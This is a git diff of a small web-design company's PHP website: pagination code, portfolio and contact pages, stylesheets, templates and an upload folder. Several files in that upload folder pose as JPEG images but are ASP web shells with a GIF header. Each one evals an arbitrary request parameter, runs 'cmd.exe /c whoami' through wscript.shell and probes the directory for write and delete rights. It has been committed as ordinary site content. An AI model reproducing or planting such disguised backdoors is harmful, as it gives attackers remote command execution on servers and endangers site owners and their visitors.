+        * @param $ENTRIES_PER_PAGE: number of items on page defaults to the ENTRIES_PER_PAGE
+        * 
+        * @return string of links 
+        * @access 
+        **/
+       function create_page_links($totalnum,$num,$start=0,$params,$page_length=ENTRIES_PER_PAGE) {
+               // find out which page we're on.
+               if($totalnum!=0) {  
+                       $total_pages = floor($totalnum / $page_length);         // total pages = the total result divided by page length rounded down 
+                       $total_pages++;                                                                         // then add one
+                       if($start == 0) {                                                                       // if start is 0 then page is one {
+                               $page = 1;                                                                              
+                       } else  {
+                               $page = ($start / $page_length) + 1;
+                       }
+               }
+
+               if($totalnum > $page_length && ( $page != $totalpages ) ) {
+                       $end = $page_length + $start;
+               } else {
+                       $end = $totalnum;
+               }
+               $last = $start - $page_length;  
+               if(($start - $page_length) < 0)
+                       $prev = "";
+               else    
+                       $prev = "<span class=\"accenttext\">[</span><a class=\"small\"
+                               href=\"$GLOBALS[PHP_SELF]?start=".$last."&$params\">PREVIOUS PAGE</a><span
+                               class=\"accenttext\"> ]</span>";
+               if($end < $totalnum)
+                       $next = "<span class=\"accenttext\">[</span><a class=\"small\"
+                               href=\"$GLOBALS[PHP_SELF]?start=".$end."&$params\">NEXT PAGE</a><span
+                               class=\"accenttext\"> ]</span>";
+               else    
+                       $next = "";
+               $starting = $start + 1; 
+               $last_c = $start + $num;
+               $links = '<center><span class="pagetitle">Listings Displayed: </span><span
+                       class="accenttext">'.$starting.' to '.$last_c.'</span>
+                       <span class="pagetitle"> of '.$totalnum.'<br></span> '.$prev. ' &nbsp; <span 
+                       class="pagetitle"></span> '.$next.'<BR></span></center>';       
+               return $links;
+       }
+?>
diff --git a/static/100.phtml b/static/100.phtml
new file mode 100755 (executable)
index 0000000..a9597ae
--- /dev/null
@@ -0,0 +1,37 @@
+<link rel="stylesheet" type="text/css" href="<?php echo BASE_URL;?>portfolio.css">
+<?php
+       include_once(BASE.'classes/class_portfolio.inc');
+       $portfolio =& new portfolio( $this );   
+       if( $_GET['busid'] )
+       {
+               echo '<style type="text/css">
+                       div#category {display:none;}
+                       div.listing {display:none;}
+               </style>';
+               echo '<div id="portfolio-categories">';
+               echo $portfolio->get_portfolio_detail();
+               echo $portfolio->get_portfolio_list();
+               echo '</div>';
+       }
+       elseif( $_GET['pcatid'] )
+       {
+               echo '<style type="text/css">
+                       div#category {display:none;}
+                       div.listing {display:none;}
+               </style>';
+               echo '<div id="portfolio-categories">';
+               echo $portfolio->get_portfolio_list();
+               echo '</div>';
+       }
+       else
+       {
+       //      echo '<style type="text/css">
+       //              div#category {display:none;}
+       //              div.listings {display:none;}
+       //      </style>';
+               echo '<div id="portfolio-categories">';
+               echo $portfolio->get_category_list(72);
+               echo '</div>';
+       }
+?>
+<div class="clearer"></div>
diff --git a/static/117.phtml b/static/117.phtml
new file mode 100755 (executable)
index 0000000..822a0a3
--- /dev/null
@@ -0,0 +1,14 @@
+<?php
+$serverConfig = new Zend_Config_Ini(
+       BASE . 'config/server.ini',
+       strtolower($_ENV['GLM_HOST_ID'])
+);
+$cf = new Toolkit_Contacts_Payments(
+       Toolkit_Database::getInstance(),
+    'contact_form',
+    'post',
+    BASE_SECURE_URL . 'index.php?catid=117'
+);
+$cf->setConfig($serverConfig);
+$cf->configureForm();
+echo $cf->toHtml();
diff --git a/static/3.phtml b/static/3.phtml
new file mode 100755 (executable)
index 0000000..90c3c82
--- /dev/null
@@ -0,0 +1,11 @@
+<?php
+include BASE.'classes/class_press.inc';
+$press =& new glm_press();
+if ($_GET['archive'] == 1) {
+    $press->get_archives();
+} elseif ($_GET['press_id']) {
+    $press->get_news();
+} else {
+    $press->get_archives();
+}      
+?>
diff --git a/static/49.phtml b/static/49.phtml
new file mode 100755 (executable)
index 0000000..ff211fc
--- /dev/null
@@ -0,0 +1,23 @@
+<link rel="stylesheet" type="text/css" href="<?php echo BASE_URL;?>portfolio.css">
+<?php
+       include_once BASE.'classes/class_portfolio.inc';
+       $portfolio =& new portfolio($this);     
+       if ($_GET['busid']) {
+               echo '<style type="text/css">
+                       #category {display:none;}
+                       .listing {display:none;}
+               </style>';
+               echo '<div id="portfolio-categories">';
+               echo $portfolio->get_portfolio_detail();
+               echo '</div>';
+       }
+?>
+<div class="clearer"></div>
+<div id="recent">
+    <h3>Recently Connected</h3>
+    <div id="recent-list">
+    <?php
+        echo $this->recent_launched(49);
+    ?>
+    </div>
+</div>
diff --git a/static/51.phtml b/static/51.phtml
new file mode 100755 (executable)
index 0000000..7cc452e
--- /dev/null
@@ -0,0 +1,11 @@
+<link rel="stylesheet" type="text/css" href="<?php echo BASE_URL;?>contactform.css">
+<?php
+$cf = new Toolkit_Contacts_ContactUs(
+       Toolkit_Database::getInstance(),
+    'contact_form',
+    'post',
+    BASE_URL . 'index.php?catid=51'
+);
+$cf->configureForm();
+echo $cf->toHtml();
+?>
diff --git a/static/56.phtml b/static/56.phtml
new file mode 100755 (executable)
index 0000000..d708852
--- /dev/null
@@ -0,0 +1,23 @@
+<link rel="stylesheet" type="text/css" href="<?php echo BASE_URL;?>portfolio.css">
+<?php
+       include_once BASE.'classes/class_portfolio.inc';
+       $portfolio =& new portfolio($this);     
+       if ($_GET['busid']) {
+               echo '<style type="text/css">
+                       #category {display:none;}
+                       .listing {display:none;}
+               </style>';
+               echo '<div id="portfolio-categories">';
+               echo $portfolio->get_portfolio_detail();
+               echo '</div>';
+       }
+?>
+<div class="clearer"></div>
+<div id="recent">
+    <h3>Recently Launched</h3>
+    <div id="recent-list">
+    <?php
+        echo $this->recent_launched(74);
+    ?>
+    </div>
+</div>
diff --git a/styles.css b/styles.css
new file mode 100755 (executable)
index 0000000..e3cd9bc
--- /dev/null
@@ -0,0 +1,600 @@
+/* #wrapper {  background: yellow;}
+#mainH {       background: green;}
+#columnH { background: blue;}
+* {background: none !important}
+*/
+
+/* Homepage off */
+#homeSpecial,
+#mainH,
+#columnH {
+}
+
+body {
+  margin: 0;
+  padding: 0;
+  text-align: center;
+  font-family: arial, sans-serif;
+  font-size: 12px;
+       color: #555;
+       background: url(assets/background.gif) 0 90px repeat-x #fff;
+}
+a:link {color: #1357c0; }
+a:visited {color:#1357c0;  }
+a:hover {color: #000; }
+a:active {color: #1357c0; }
+img {
+       border: 0;
+       display: block;
+}
+ul, li, h1, h2, h3 {
+       margin: 0;
+       padding: 0;
+       list-style-type: none;
+       display: block;
+       background: none;
+}
+h1, h2 {
+       font-size: 16px;
+       color: #003c99
+}
+#toolbox h1, #toolbox h2 {
+       color: #003c99
+}
+#wrapper {
+       width: 962px;
+       margin: 0 auto;
+       text-align: left;
+       position: relative;
+       height: 1%;
+       overflow: hidden;
+       }
+body#inside #wrapper {
+       background: url(assets/wrapperInsideBg.gif) no-repeat 50px 64px;
+}
+#logo {
+       width: 272px;
+       height: 71px;
+       background: url(assets/logo.gif) no-repeat 0 11px;
+       text-indent: -9999px;
+       float: left;
+       padding-top: 11px;
+       margin-left: 18px;
+       z-index: 1;
+}
+#topLinks {
+       position: absolute;
+       right: 10px;
+       top: 10px;
+       width: 150px;
+       color: #093a86;
+       font-weight: bold;
+}
+#topLinks li {
+       float: left;
+       margin-left: 10px;
+       display: inline;
+}
+#topLinks a {
+       font-size: 11px;
+       margin-right: 8px;
+}
+#topLinks a:link {
+       color: #093a86;
+}
+#topLinks a:visited {
+       color: #093a86;
+}
+#topLinks a:hover {
+       color: #000;
+}
+#topLinks a:active {
+       color: #093a86;
+}
+#contactH {
+       position: absolute;
+       right: 0px;
+       top: 28px;
+       width: 320px;
+       color: #003c99;
+       text-align: right;
+       font-size: 18px;
+}
+#contactH a:link {
+       color: #093a86;
+}
+#contactH a:visited {
+       color: #093a86;
+}
+#contactH a:hover {
+       color: #000;
+}
+#contactH a:active {
+       color: #093a86;
+}
+#homeSpecial {
+       float: left;
+       width: 853px;
+       height: 235px;
+       margin-left: 46px;
+       margin-top: -18px;
+       background: url(assets/homeFeature.png) no-repeat;
+       display: inline;
+}
+/* Main Nav */
+#nav {
+       position: relative;
+       float: right;
+       margin-top: 74px;
+}
+#nav li {
+       float: left;
+       background: #ec7022;
+}
+#nav li a {
+       display: block;
+       border-left: 1px solid #f5a95b;
+       border-right: 1px solid #da3105;
+       line-height: 31px;
+       padding-left: 17px;
+       padding-right: 17px;
+       text-decoration: none;
+       font-weight: bold;
+       }
+#nav li a:link {
+       color: white;
+}
+#nav li a:visited {
+       color: white;
+}
+#nav li a:hover {
+/*     background: #003c99;
+       color: #fff;
+       border-left: 1px solid #3d95dd;
+       border-right: 1px solid #011e91;
+*/     
+
+
+       background: url(assets/navBg.gif) repeat-x;
+       color: #d35304;
+       border-left: 1px solid #da3105;
+       border-right: 1px solid #f5a95b;
+       
+}
+#nav li a:active {
+       color: white;
+}
+
+/* Left Home Block */
+#mainH {
+       width: 544px;
+       float: left;
+} 
+/* Home Content */
+#contentH {
+       width: 530px;
+       font-size: 14px;
+       color: black;
+       line-height: 1.4em;
+}
+#contentH h1 {
+       font-size: 15px;
+}
+
+/* testimonials Home */
+#testimonialsH {
+       width: 550px;
+       clear: left;
+       background: url(assets/testimonialsBg.gif) no-repeat;
+       padding-top: 30px;
+       font-weight: bold;
+       margin-top: 40px;
+}
+#testominalsBox {
+       background: url(assets/testimonialsBox.gif) no-repeat;
+       height: 76px;
+       width: 541px;
+       padding-top: 6px;
+}
+#testimonialsH blockquote {
+       padding: 10px 0 0 70px;
+       margin: 0;
+       background: url(assets/testimonialsQuote.gif) no-repeat 50px 15px;
+       }
+#testimonialsH p {
+       margin: 1em 80px;
+       }
+#testscroller {
+}
+
+
+/* Home Right Column */
+#columnH {
+       width: 375px;
+       float: right;
+}
+#featuresH {
+       background: url(assets/featuredBg.gif) no-repeat;
+       width: 372px;
+       height: 191px;
+       }
+#featuresH h2 {
+       font-size: 13px;
+       float: left;
+       margin: 0 0 0 38px;
+       }
+#s4 {
+       clear: both;
+       margin-left: 35px;
+}
+ #featuredNav { 
+/*     margin-bottom: 10px; */
+       margin-right: 10px;
+       right: 10px;
+       float: right;
+       position: relative;
+       z-index: 100;
+       height: 30px;
+       }
+#featuredNav a {
+       display: block;
+       float: left;
+       padding: 3px 6px;
+       margin: 2px;
+       text-decoration: none;
+       }
+#featuredNav a:link {
+       color: #e55408;
+}
+#featuredNav a:visited {
+       color: #e55408;
+}
+#featuredNav a:hover {
+       color: #000;
+}
+#featuredNav a:active {
+       color: #e55408;
+}
+#marketsH {
+       color: #666;
+       font-weight: bold;
+       clear: right;
+       margin-top: 30px;
+       background: url(assets/featuredBg.gif) no-repeat;
+       width: 372px;
+       height: 210px;
+}
+#marketsH h2 {
+       background: url(assets/marketsServedBg.gif) no-repeat;
+       width: 145px;
+       height: 24px;
+       text-indent: -9000px;
+       margin-left: 35px;
+       }
+#marketsH p {
+       margin-left: 35px;
+}
+#marketsH ul {
+       width: 320px;
+       height: 1%;
+       overflow: visible;
+       margin-left: 35px;
+}
+#marketsH li {
+       float: left;
+}
+#marketsH a {
+       text-indent: -9000px;
+       float: left;
+       width: 97px;
+       height: 59px;
+       display: block;
+       margin: 0 6px 6px 0;
+}
+#marketsH #mI {
+       background: url(assets/marketBoxes.png) no-repeat 0 0;
+}
+#marketsH #mM {
+       background: url(assets/marketBoxes.png) no-repeat -103px 0;
+}
+#marketsH #mT {
+       background: url(assets/marketBoxes.png) no-repeat -208px 0;
+}
+#marketsH #mE {
+       background: url(assets/marketBoxes.png) no-repeat 0 -71px;
+}
+#marketsH #mG {
+       background: url(assets/marketBoxes.png) no-repeat -103px -71px;
+}
+#marketsH #mEd {
+       background: url(assets/marketBoxes.png) no-repeat -208px -71px;
+}
+
+
+/* Inside Pages */
+#columnI {
+       /* background: url(assets/columnIbg.gif) no-repeat 0 0; */
+       width: 253px;
+       padding-top: 130px;
+       z-index: 5;
+       margin-left: 33px;
+       margin-top: -19px;
+       float: left;
+       display: inline;
+       }
+#subnav {
+       margin-left: 20px;
+       width: 220px;
+       background: url(assets/subnavBg2.gif) no-repeat;
+}
+#subnav h2 {
+       color: #fff9b9;
+       background: #1357c0;
+       font-size: 11px;
+       text-transform: uppercase;
+       padding: 4px 6px;
+       margin-left: 21px;
+       margin-right: 21px;
+}
+#subnav li {
+       border-bottom: 1px dotted #0f3e84;
+       margin-left: 24px;
+       margin-right: 28px;
+       }
+#subnav a {
+       font-weight: bold;
+       text-decoration: none;
+       display: block;
+       margin: 2px 2px 2px 5px;
+       padding: 2px 0;
+ }
+#subnav a:link {
+       color: #e96f22;
+}
+#subnav a:visited {
+       color: #e96f22;
+}
+#subnav a:hover {
+       color: #0f3e84;
+}
+#subnav a:active {
+       color: #e96f22;
+}
+#subnav #active {
+}
+/* Ssubsub */
+#subnav ul ul a {
+       padding-left: 16px;
+       border: none;
+       background: url(assets/subsubBg.gif) no-repeat 3px 3px;
+       }
+#subnav li li {
+       border: none;
+       margin: 0;
+}
+#subnav ul ul a:link {
+       color: #0f3e84;
+}
+#subnav ul ul a:visited {
+       color: #0f3e84;
+}
+#subnav ul ul a:hover {
+       color: #000;
+}
+#subnav ul ul a:active {
+       color: #0f3e84;
+}
+
+#makingNews {
+       margin-left: 36px;
+       font-size: 11px;
+       width: 176px;
+       }
+#makingNews h2 {
+       background: url(assets/makingNews.gif) no-repeat;
+       text-indent: -9000px;
+       width: 129px;
+       height: 25px;
+       margin-top: 56px;
+       margin-bottom: 4px;
+       }
+#makingNews h3 {
+       font-size: 11px;
+}
+#makingNews p {
+       margin: 0.2em 0 1.5em 0;
+}
+#makingNews a {
+       text-decoration: none;
+}
+#makingNews a:link {
+       color: #084199;
+}
+#makingNews a:visited {
+       color: #084199;
+}
+#makingNews a:hover {
+       color: #000;
+}
+#makingNews a:active {
+       color: #084199;
+}
+
+#breadcrumbs {
+       font-size: 11px;
+       margin-top: 30px;
+       margin-bottom: 28px;
+}
+#toolbox {
+       padding-left: 22px;
+       background: url(assets/headerBg.gif) no-repeat;
+}
+#toolbox h1 {
+       margin-bottom: 1em;
+}
+#toolbox h2 {
+       margin-top: 1.5em;
+}
+.imageright {
+       float: right;
+       margin: 0 0 16px 16px;
+}
+.listing {
+       clear: both;
+}
+.imagecaption {
+       color: #0f3e84;
+       font-size: 10px;
+       margin-top: 0.5em;
+       padding-bottom: 10px;
+       background: url(assets/imagecaptionBg.gif) no-repeat left bottom;
+}
+#toolbox ul {
+       margin: 1em 20px;}
+#toolbox li {
+       padding-left: 16px;
+       background: url(assets/bullet.gif) no-repeat 0 1px;
+       margin-bottom: 0.8em;
+}
+/* Main Area Inside */
+#mainI {
+       width: 672px;
+       float: right;
+       font-size: 14px;
+       line-height: 1.4em;
+       color: black;
+}
+/* Bottom */
+#bottom {
+       clear: both;
+       padding-top: 10px;
+       height: 1%;
+       overflow: hidden;
+       background: #f7f7f7;
+       margin-top: 20px;
+}
+#bottom2  {
+       width: 962px;
+       margin: 0 auto;
+       text-align: left;
+       position: relative;
+       }
+/* Contact Info */
+#contactB {
+       width: 110px;
+       float: right;
+       margin-right: 40px;
+       font-size: 11px;
+       font-weight: bold;
+       display: inline;
+}
+#contactB h2 {
+       font-size: 11px;
+       font-weight: bold;
+       color: #083d6a;
+       margin: 0;
+}
+#contactB li {
+       float: left;
+}
+#contactB a {
+       text-indent: -9000px;
+       display: block;
+       }
+#contactB h2 a {
+       text-indent: 0;
+       }
+#CbFb a {
+       display: block;
+       background: url(assets/socialBg.gif) no-repeat 0 0;
+       width: 30px;
+       height: 30px;
+       margin-right: 2px;
+}
+#CbTw a {
+       display: block;
+       background: url(assets/socialBg.gif) no-repeat -33px 0;
+       width: 30px;
+       height: 30px;
+       margin-right: 2px;
+}
+#CbFl a {
+       display: block;
+       background: url(assets/socialBg.gif) no-repeat -65px 0;
+       width: 30px;
+       height: 30px;
+}
+
+.bottomNav {
+       width: 195px;
+       float: left;
+       margin-right: 5px;
+}
+.bottomNav a {
+       text-decoration: none;
+       font-size: 11px;
+       font-weight: bold;
+}
+.bottomNav a:hover {
+       text-decoration: underline;
+}
+.bottomNav a:link {
+       color: #083d6a;
+}
+.bottomNav a:visited {
+       color: #083d6a;
+}
+.bottomNav a:hover {
+       color: #000;
+}
+.bottomNav a:active {
+       color: #083d6a;
+}
+.bottomNav ul a:link {
+       color: #6d6e6f;
+}
+.bottomNav ul a:visited {
+       color: #6d6e6f;
+}
+.bottomNav ul a:hover {
+       color: #000;
+}
+.bottomNav ul a:active {
+       color: #6d6e6f;
+}
+/* Copyroight */
+#copyright {
+       clear: both;
+       padding: 1em 0;
+       text-align: center;
+}
+/* Contact Form */
+.glmCheckBox {
+       display: block;
+}
+/* Recently Connected */
+#recent-list, #recent-list2 {}
+#recent-list table td {text-align:center;}
+#recent-list td, #recent-list2 td {
+       padding: 10px;
+       vertical-align: bottom;
+       width: 200px;
+       font-size: 12px;
+       vertical-align: top;
+}
+#recent-list img, #recent-list2 img {
+    border: 1px solid #00558F;
+       margin: 0 auto;
+text-align: center;
+}
+#recent-list div, #recent-list2 div {
+       margin-top: 5px;
+       text-align: center;
+}
+#recent-list .rec-details, #recent-list2 .rec-details {
+       text-align: center;
+       display: block;
+
+}
+
diff --git a/templates/404-template.html b/templates/404-template.html
new file mode 100755 (executable)
index 0000000..e6a96a1
--- /dev/null
@@ -0,0 +1,15 @@
+<div id="404">
+       <h1>Ooops.. </h1>
+       <h2>We can't find the page you were looking for</h2>
+  <p>There can be a couple of reasons for this:
+       <ul>
+       <li>If you typed the website address yourself, please make sure that the spelling is correct</li>
+      <li>The page does not exist anymore</li>
+               </ul>
+
+       To help you find what you're looking for, you can use the navigation on this page, or just follow one of the links below.
+  <ul>
+      <li><a href="{homeURL}">Go to the Homepage</a></li>
+      <li flexy:if="sitemapURL"><a href="{sitemapURL}">Look at a sitemap of this website</a></li>
+       </ul>
+</div>
diff --git a/templates/template.html b/templates/template.html
new file mode 100755 (executable)
index 0000000..49be0c7
--- /dev/null
@@ -0,0 +1,171 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>{title:h}</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<meta name="description" content="{metaTags:h}">
+<meta http-equiv="imagetoolbar" content="no">
+<meta http-equiv="imagetoolbar" content="false">
+{foreach:styles,v}
+<link rel="stylesheet" type="text/css" href="{v}">
+{end:}
+{foreach:scripts,v}
+<script type="text/javascript" src="{v}"></script>
+{end:}
+</head>
+{if:isHomePage}
+<body>
+{else:}
+<body id="inside">
+{end:}
+<div id="wrapper">
+       <h1><a href="http://www.gaslightmedia.com/" id="logo">Gaslight Media</a></h1>
+       <ul id="topLinks">
+               <li><a href="http://www.gaslightmedia.com/webmail/index.html">Check Email</a> |</li>
+               <li><a href="https://ws3.gaslightmedia.com/www/index.php?catid=117">Bill Pay</a></li>
+       </ul>
+       <p id="contactH">Call 231-487-0692 or <a href="mailto:info@gaslightmedia.com">Email Us</a> today.</p>
+
+       <ul id="nav">
+               <li><a href="{getToolboxUrl(#1#)}">Home</a></li>
+               <li><a href="{getToolboxUrl(#93#)}">Products &amp; Services</a></li>
+               <li><a href="{getToolboxUrl(#94#)}">Markets Served</a></li>
+               <li><a href="{getToolboxUrl(#56#)}">Portfolio</a></li>
+               <li><a href="{getToolboxUrl(#2#)}">Our Company</a></li>
+               <li><a href="{getToolboxUrl(#51#)}">Contact Us</a></li>
+       </ul>
+
+       <div id="homeSpecial" flexy:if="isHomePage"></div>
+
+       <div id="mainH" flexy:if="isHomePage">
+       
+               <div id="contentH">
+                               {toolboxContent:h}
+               </div><!-- #contentH -->
+
+               <div id="testimonialsH" flexy:if="hasTestimonials">
+                       <div id="testominalsBox">
+                               <div id="testscroller">
+                                       {foreach:testimonials,item}
+                                       <div>
+                                               <blockquote><a href="{item[link]:h}">{item[descr]}</a></blockquote>
+                                               <p>{item[name]}</p>
+                                       </div>
+                                       {end:}
+                               </div><!-- /#testscroller -->
+                       </div><!-- /#testimonialsBox -->
+               </div><!-- #testimonialsH -->
+
+       </div><!-- /#mainH -->
+
+       <div id="columnH" flexy:if="isHomePage">
+       
+               <div id="featuresH">
+                       <h2>Featured Products</h2>
+                       <div id="s4">
+               <div><a href="{getToolboxUrl(#124#)}"><img src="assets/featured/featured7.gif" width="313" height="138" alt=""></a></div>
+               <div><a href="{getToolboxUrl(#88#)}"><img src="assets/featured/featured1.jpg" width="313" height="138" alt=""></a></div>
+               <div><a href="{getToolboxUrl(#90#)}"><img src="assets/featured/featured2.jpg" width="313" height="138" alt=""></a></div>
+               <div><a href="{getToolboxUrl(#72#)}"><img src="assets/featured/featured3.jpg" width="313" height="138" alt=""></a></div>
+               <div><a href="{getToolboxUrl(#73#)}"><img src="assets/featured/featured4.jpg" width="313" height="138" alt=""></a></div>
+               <div><a href="{getToolboxUrl(#92#)}"><img src="assets/featured/featured5.jpg" width="313" height="138" alt=""></a></div>
+               <div><a href="{getToolboxUrl(#83#)}"><img src="assets/featured/featured6.jpg" width="313" height="138" alt=""></a></div>
+       </div><!-- /#s4 -->
+               </div><!-- /#featuresH -->
+
+               <div id="marketsH">
+                       <h2>Markets Served</h2>
+                       <p>Internet Specialists in the markets that we serve to maximize investment and reduce operating costs.</p>
+                       <ul>
+                               <li><a href="{getToolboxUrl(#105#)}" id="mI">Industry</a></li>
+                               <li><a href="{getToolboxUrl(#106#)}" id="mM">Member Based Associations</a></li>
+                               <li><a href="{getToolboxUrl(#96#)}" id="mT">Travel &amp; Tourism</a></li>
+                               <li><a href="{getToolboxUrl(#107#)}" id="mE">Education</a></li>
+                               <li><a href="{getToolboxUrl(#97#)}" id="mG">Government &amp; Municipalities</a></li>
+                               <li><a href="{getToolboxUrl(#98#)}" id="mEd">Economic Development</a></li>
+                       </ul>
+               </div><!-- /#marketsH -->
+
+       </div><!-- /#columnH -->
+
+
+       <div id="columnI" flexy:if="!isHomePage">
+               <div id="subnav" flexy:if="sideNav">
+                               {sideNav:h}
+               </div><!-- /#subnav -->
+
+               <div id="makingNews" flexy:if="hasNews">
+                       <h2>Making News</h2>
+            {foreach:news,item}
+            <h3><a href="{item[link]}">{item[title]:h}</a></h3>
+                       {item[descr]:h} 
+            {end:}
+               </div><!-- /#makingNews -->
+       </div><!-- /#columnI -->
+
+       <div id="mainI" flexy:if="!isHomePage">
+<!-- AddThis Button BEGIN -->
+<div style="float: right;">
+<a class="addthis_button" style="float: right; margin: 30px 1px 0 0;" href="http://www.addthis.com/bookmark.php?v=250&amp;username=klykken"><img 
+src="https://s7.addthis.com/static/btn/v2/lg-share-en.gif" 
+width="125" height="16" alt="Bookmark and Share" style="border:0"/></a>
+<script type="text/javascript">
+var addthis_config = {"data_track_clickback":true};
+var addthis_config = {
+     ui_header_color: "#ffffff",
+     ui_header_background: "#1357c0"
+}
+</script>
+
+<script type="text/javascript" src="https://s7.addthis.com/js/250/addthis_widget.js#username=klykken"></script>
+</div>
+
+<!-- AddThis Button END -->
+
+    {breadCrumbs:h}
+       <div id="toolbox">
+                               {toolboxContent:h}
+       </div><!-- /.toolbox -->
+
+       </div><!-- /#mainI -->
+</div><!-- /#wrapper -->
+<div id="bottom">
+       <div id="bottom2">
+       
+               <div id="contactB">
+                       <h2><a href="baseurl/contact-us-51/">Contact Us</a></h2>
+                       <p>120 E. Lake Street<br>
+                       Petoskey, MI 49770</p>
+                       <p>Call 231.487.0692<br>
+                       Fax 231.487.0313</p>
+                       <ul>
+                               <li id="CbFb"><a href="http://www.facebook.com/pages/Web-Design-ISP-Michigan-Gaslight-Media/247974847551" title="Meet us on Facebook">Facebook Account</a></li>
+                               <li id="CbTw"><a href="http://twitter.com/GaslightMedia" title="Check our Twitter Feed">Twitter Account</a></li>
+                               <li id="CbFl"><a href="http://www.flickr.com/photos/gaslightmedia" title="See our Flickr Photos">Flickr Account</a></li>
+                       </ul>
+               </div><!-- /#contactB -->
+
+               <ul class="bottomNav" flexy:foreach="mainNav,k,val">
+            <li><a href="{val[link]:h}">{val[name]}</a>
+                <ul flexy:if="{val[hasSubs]}">
+                    <li flexy:foreach="val[subs],value"><a href="{value[link]:h}">{value[name]}</a></li>
+                               </ul>
+                       </li>
+               </ul>
+               <div id="copyright">
+                       <p>Copyright &copy; <?php echo date('Y');?> Gaslight Media. All Rights Reserved.</p>
+               </div><!-- /#copyright -->
+       </div><!-- /#bottom2 -->
+</div><!-- /#bottom -->
+<script type="text/javascript">
+var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
+document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
+</script>
+<script type="text/javascript">
+try {
+var pageTracker = _gat._getTracker("UA-870324-1");
+pageTracker._trackPageview();
+} catch(err) {}</script>
+</body>
+</html>
diff --git a/toolbox.css b/toolbox.css
new file mode 100644 (file)
index 0000000..4d620f3
--- /dev/null
@@ -0,0 +1,27 @@
+/* Image Upload Icons */
+.file-download, .download {
+       background-repeat: no-repeat;
+       background-position: left;
+       padding: 1px 2px;       
+       padding-left: 18px;
+       position: relative;
+       margin-right: 10px;
+       margin-bottom: 5px;
+       display: block;
+       float: left;
+       clear: left;
+       }
+.avi   { background-image: url(images/file-ext/avi.gif);}
+.doc   { background-image: url(images/file-ext/doc.gif);}
+.gif   { background-image: url(images/file-ext/gif.gif);}
+.html  { background-image: url(images/file-ext/html.gif);}
+.jpg   { background-image: url(images/file-ext/jpg.gif);}
+.mov   { background-image: url(images/file-ext/mov.gif);}
+.mp3   { background-image: url(images/file-ext/mp3.gif);}
+.pdf   { background-image: url(images/file-ext/pdf.png);}
+.ppt   { background-image: url(images/file-ext/ppt.gif);}
+.txt   { background-image: url(images/file-ext/txt.png);}
+.wmv   { background-image: url(images/file-ext/wmv.gif);}
+.xls   { background-image: url(images/file-ext/xls.gif);}
+.zip   { background-image: url(images/file-ext/zip.png);}
+.download {  background-image: url(images/file-ext/download.gif); clear: none; background-repeat: no-repeat;}  
\ No newline at end of file
diff --git a/userfiles/file/1005-the-wolf.pdf b/userfiles/file/1005-the-wolf.pdf
new file mode 100755 (executable)
index 0000000..f6bee18
Binary files /dev/null and b/userfiles/file/1005-the-wolf.pdf differ
diff --git a/userfiles/file/21032012(1).xhtml b/userfiles/file/21032012(1).xhtml
new file mode 100755 (executable)
index 0000000..97d89d4
--- /dev/null
@@ -0,0 +1,15 @@
+<html>
+
+<head>
+
+<meta http-equiv="content-type" content="text/html; charset=windows-1251">
+
+</head>
+
+<body>
+
+21_03_2012 x01x
+
+</body>
+
+</html>
\ No newline at end of file
diff --git a/userfiles/file/21032012.xhtml b/userfiles/file/21032012.xhtml
new file mode 100755 (executable)
index 0000000..97d89d4
--- /dev/null
@@ -0,0 +1,15 @@
+<html>
+
+<head>
+
+<meta http-equiv="content-type" content="text/html; charset=windows-1251">
+
+</head>
+
+<body>
+
+21_03_2012 x01x
+
+</body>
+
+</html>
\ No newline at end of file
diff --git a/userfiles/file/ali_asp;ali(1).jpg b/userfiles/file/ali_asp;ali(1).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(10).jpg b/userfiles/file/ali_asp;ali(10).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
+Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>|
+<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
+sPath=replace(Server.MapPath("\"),"/", "\")
+Function CheckDirIsOKWrite(DirStr)
+On Error Resume Next
+Fso.CreateTextFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+CheckDirIsOKWrite=0
+else
+response.write "write"
+CheckDirIsOKWrite=1
+end if
+End Function
+Function CheckDirIsOKDel(DirStr)
+On Error Resume Next
+Fso.DeleteFile(DirStr&"\temp.tmp")
+if Err.number<>0 then
+Err.Clear()
+response.write ""
+else
+response.write "delete"
+end if
+End Function
+Function WriteSpace(NunStr)
+for iu=0 to NunStr
+response.write " "
+next
+End Function
+IsWrite=CheckDirIsOKWrite(sPath)
+if IsWrite=1 then CheckDirIsOKDel(sPath)
+%>
diff --git a/userfiles/file/ali_asp;ali(100).jpg b/userfiles/file/ali_asp;ali(100).jpg
new file mode 100755 (executable)
index 0000000..7f15bbd
--- /dev/null
@@ -0,0 +1,35 @@
+GIF89alovealihack<%eval request("alihack.com")%>
+<%On Error Resume Next
